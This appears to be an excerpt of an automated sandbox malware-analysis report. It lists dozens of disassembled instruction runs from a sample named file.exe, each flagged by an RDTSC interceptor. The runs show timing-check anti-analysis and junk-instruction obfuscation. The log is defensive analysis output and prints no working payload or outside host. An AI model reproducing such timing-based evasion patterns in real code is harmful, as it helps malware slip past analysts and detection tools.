Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30285 second address: 4B302B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3AB928249Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B302B2 second address: 4B302D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F3AB9265604h 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B302D8 second address: 4B302DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B302DC second address: 4B302E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B302E0 second address: 4B302E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B302E6 second address: 4B302EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B302EB second address: 4B30310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 08284BD7h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3AB92824A4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30310 second address: 4B3031F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92655FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3031F second address: 4B30337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB92824A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30337 second address: 4B30346 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30346 second address: 4B3034A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3034A second address: 4B3034E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3034E second address: 4B30354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30354 second address: 4B30384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265602h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3AB9265607h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30384 second address: 4B3038B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3038B second address: 4B303BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [75AB4538h] 0x0000000c pushad 0x0000000d mov bl, 9Ah 0x0000000f mov dx, ax 0x00000012 popad 0x00000013 xor dword ptr [ebp-08h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3AB9265607h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B303BA second address: 4B303D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB92824A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B303D2 second address: 4B3046E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a jmp 00007F3AB92655FCh 0x0000000f nop 0x00000010 pushad 0x00000011 mov ebx, esi 0x00000013 call 00007F3AB92655FAh 0x00000018 movzx eax, dx 0x0000001b pop edx 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F3AB9265603h 0x00000025 and si, 797Eh 0x0000002a jmp 00007F3AB9265609h 0x0000002f popfd 0x00000030 mov edi, ecx 0x00000032 popad 0x00000033 nop 0x00000034 pushad 0x00000035 mov edx, ecx 0x00000037 jmp 00007F3AB9265604h 0x0000003c popad 0x0000003d lea eax, dword ptr [ebp-10h] 0x00000040 jmp 00007F3AB9265600h 0x00000045 mov dword ptr fs:[00000000h], eax 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e movsx edx, cx 0x00000051 pushad 0x00000052 popad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3046E second address: 4B30505 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-18h], esp 0x0000000c jmp 00007F3AB928249Eh 0x00000011 mov eax, dword ptr fs:[00000018h] 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F3AB928249Eh 0x0000001e or ecx, 404BE398h 0x00000024 jmp 00007F3AB928249Bh 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007F3AB92824A8h 0x00000030 add ax, 0DF8h 0x00000035 jmp 00007F3AB928249Bh 0x0000003a popfd 0x0000003b popad 0x0000003c mov ecx, dword ptr [eax+00000FDCh] 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F3AB92824A0h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30505 second address: 4B3050B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3050B second address: 4B3054A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3AB928249Ch 0x00000009 or cx, 1788h 0x0000000e jmp 00007F3AB928249Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test ecx, ecx 0x00000019 pushad 0x0000001a movsx edx, si 0x0000001d push esi 0x0000001e mov esi, edi 0x00000020 pop edx 0x00000021 popad 0x00000022 jns 00007F3AB92824C1h 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push ebx 0x0000002c pop esi 0x0000002d mov dx, 647Eh 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3054A second address: 4B30550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30550 second address: 4B30554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30554 second address: 4B30558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20032 second address: 4B20055 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 21A2DD9Ah 0x00000008 mov eax, ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3AB92824A3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20055 second address: 4B200FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265609h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx esi, bx 0x0000000e mov bx, DB7Ch 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 mov dh, 1Eh 0x00000018 mov ebx, esi 0x0000001a popad 0x0000001b sub esp, 2Ch 0x0000001e pushad 0x0000001f mov ax, di 0x00000022 popad 0x00000023 push esp 0x00000024 pushad 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F3AB9265604h 0x0000002c jmp 00007F3AB9265605h 0x00000031 popfd 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 pushfd 0x00000036 jmp 00007F3AB92655FEh 0x0000003b adc ax, 4B58h 0x00000040 jmp 00007F3AB92655FBh 0x00000045 popfd 0x00000046 popad 0x00000047 mov dword ptr [esp], ebx 0x0000004a jmp 00007F3AB9265606h 0x0000004f xchg eax, edi 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B200FE second address: 4B20104 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20104 second address: 4B2014E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3AB9265602h 0x00000008 push eax 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F3AB9265607h 0x00000013 xchg eax, edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3AB9265605h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2014E second address: 4B20158 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 073BC0F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20178 second address: 4B201FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92655FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b pushad 0x0000000c mov al, dl 0x0000000e mov si, 074Dh 0x00000012 popad 0x00000013 sub edi, edi 0x00000015 jmp 00007F3AB9265609h 0x0000001a inc ebx 0x0000001b jmp 00007F3AB92655FEh 0x00000020 test al, al 0x00000022 jmp 00007F3AB9265600h 0x00000027 je 00007F3AB926577Ah 0x0000002d jmp 00007F3AB9265600h 0x00000032 lea ecx, dword ptr [ebp-14h] 0x00000035 jmp 00007F3AB9265600h 0x0000003a mov dword ptr [ebp-14h], edi 0x0000003d pushad 0x0000003e push ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2025B second address: 4B2026D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 mov edx, esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B202E5 second address: 4B202EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B202EB second address: 4B202EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B202EF second address: 4B20317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F3B2A1A378Bh 0x0000000e jmp 00007F3AB92655FFh 0x00000013 js 00007F3AB926563Bh 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20317 second address: 4B20337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 cmp dword ptr [ebp-14h], edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F3AB92824A1h 0x00000010 mov di, cx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20337 second address: 4B2038D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F3B2A1A3752h 0x0000000e jmp 00007F3AB9265602h 0x00000013 mov ebx, dword ptr [ebp+08h] 0x00000016 pushad 0x00000017 mov cx, C83Dh 0x0000001b call 00007F3AB92655FAh 0x00000020 mov esi, 1D958871h 0x00000025 pop ecx 0x00000026 popad 0x00000027 lea eax, dword ptr [ebp-2Ch] 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F3AB9265608h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2038D second address: 4B203E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3AB92824A4h 0x00000011 jmp 00007F3AB92824A5h 0x00000016 popfd 0x00000017 mov di, cx 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov al, 68h 0x00000021 call 00007F3AB928249Bh 0x00000026 pop esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B203E0 second address: 4B2047B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3AB9265604h 0x00000009 add eax, 249CFF98h 0x0000000f jmp 00007F3AB92655FBh 0x00000014 popfd 0x00000015 mov esi, 3646E14Fh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, esi 0x0000001e jmp 00007F3AB9265602h 0x00000023 nop 0x00000024 pushad 0x00000025 mov cl, 57h 0x00000027 pushad 0x00000028 movsx ebx, ax 0x0000002b pushfd 0x0000002c jmp 00007F3AB9265602h 0x00000031 sbb si, 0458h 0x00000036 jmp 00007F3AB92655FBh 0x0000003b popfd 0x0000003c popad 0x0000003d popad 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 mov ebx, eax 0x00000044 pushfd 0x00000045 jmp 00007F3AB92655FEh 0x0000004a adc ecx, 1AFC8EB8h 0x00000050 jmp 00007F3AB92655FBh 0x00000055 popfd 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2047B second address: 4B20481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20481 second address: 4B20485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20485 second address: 4B204E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d mov edi, eax 0x0000000f pushfd 0x00000010 jmp 00007F3AB92824A0h 0x00000015 and eax, 4B29A848h 0x0000001b jmp 00007F3AB928249Bh 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 jmp 00007F3AB92824A6h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c movzx eax, bx 0x0000002f mov edx, 7B2F2EECh 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B204E2 second address: 4B204FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265602h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B204FF second address: 4B2051C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2054E second address: 4B2055D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92655FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2055D second address: 4B20563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20563 second address: 4B10E2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92655FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007F3AB9265606h 0x00000012 je 00007F3B2A1A36BFh 0x00000018 xor eax, eax 0x0000001a jmp 00007F3AB923ED2Ah 0x0000001f pop esi 0x00000020 pop edi 0x00000021 pop ebx 0x00000022 leave 0x00000023 retn 0004h 0x00000026 nop 0x00000027 sub esp, 04h 0x0000002a mov esi, eax 0x0000002c cmp esi, 00000000h 0x0000002f setne al 0x00000032 xor ebx, ebx 0x00000034 test al, 01h 0x00000036 jne 00007F3AB92655F7h 0x00000038 jmp 00007F3AB92656FFh 0x0000003d call 00007F3ABD5E1E28h 0x00000042 mov edi, edi 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F3AB9265605h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10E2C second address: 4B10E3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB928249Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10E3C second address: 4B10EDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a mov esi, 00BB3059h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F3AB9265604h 0x00000016 and esi, 36E9F6E8h 0x0000001c jmp 00007F3AB92655FBh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F3AB9265608h 0x00000028 adc esi, 2D0B0948h 0x0000002e jmp 00007F3AB92655FBh 0x00000033 popfd 0x00000034 popad 0x00000035 popad 0x00000036 mov dword ptr [esp], ebp 0x00000039 jmp 00007F3AB9265606h 0x0000003e mov ebp, esp 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 mov esi, 54D04FB5h 0x00000048 popad 0x00000049 xchg eax, ecx 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F3AB9265607h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10EDE second address: 4B10EFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 jmp 00007F3AB92824A0h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10EFE second address: 4B10F04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10F04 second address: 4B10F15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, B3h 0x00000005 mov edi, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10F15 second address: 4B10F2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265601h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20B14 second address: 4B20B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20B18 second address: 4B20B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20B1E second address: 4B20B79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3AB928249Ch 0x00000009 sbb ax, 2CD8h 0x0000000e jmp 00007F3AB928249Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F3AB92824A8h 0x0000001a adc ax, F738h 0x0000001f jmp 00007F3AB928249Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 xchg eax, ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov cx, di 0x0000002f mov edi, 2DFE87B2h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20B79 second address: 4B20B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20B7F second address: 4B20BB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3AB928249Bh 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007F3AB928249Bh 0x0000001a pop ecx 0x0000001b mov edx, 6C611F3Ch 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20BB9 second address: 4B20BDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265602h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3AB92655FAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20BDF second address: 4B20BEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20BEE second address: 4B20C03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AB459Ch], 05h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20C03 second address: 4B20C09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20C09 second address: 4B20C3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265602h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F3B2A1933D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3AB9265607h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20C3E second address: 4B20C6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3AB928249Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20C6B second address: 4B20C71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30904 second address: 4B30908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30908 second address: 4B309D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, 23CBh 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov bh, al 0x00000010 pushfd 0x00000011 jmp 00007F3AB9265609h 0x00000016 jmp 00007F3AB92655FBh 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, esi 0x0000001e jmp 00007F3AB9265606h 0x00000023 push eax 0x00000024 jmp 00007F3AB92655FBh 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b call 00007F3AB9265604h 0x00000030 pushfd 0x00000031 jmp 00007F3AB9265602h 0x00000036 xor cl, FFFFFFF8h 0x00000039 jmp 00007F3AB92655FBh 0x0000003e popfd 0x0000003f pop esi 0x00000040 pushfd 0x00000041 jmp 00007F3AB9265609h 0x00000046 and esi, 75477E96h 0x0000004c jmp 00007F3AB9265601h 0x00000051 popfd 0x00000052 popad 0x00000053 mov esi, dword ptr [ebp+0Ch] 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B309D7 second address: 4B309DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B309DB second address: 4B309E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
